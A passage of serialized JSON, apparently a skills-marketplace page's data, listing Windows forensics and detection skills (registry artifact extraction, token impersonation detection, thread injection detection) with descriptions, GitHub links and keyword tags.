exploit","exploit","across","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","lateral movement","command","native",{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":160,"publishedAt":39},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[161,162,163,164,165,26,166,167,168,169,31,33,170,171,144,172,35,36,173,174],"extract","registry artifact extract","registry","artifact","digital-forensics","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":181,"publishedAt":39},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[182,183,184,20,36,185,132,186,187,188,121,33,189,190,191,56,192,193,194,195],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":197,"name":198,"nameZh":6,"description":199,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":200,"categories":201,"keywords":202,"publishedAt":39},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[203,182,204,20,205,206,122,33,189,207,208,209,144,121,36,185,210,132,211,187],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]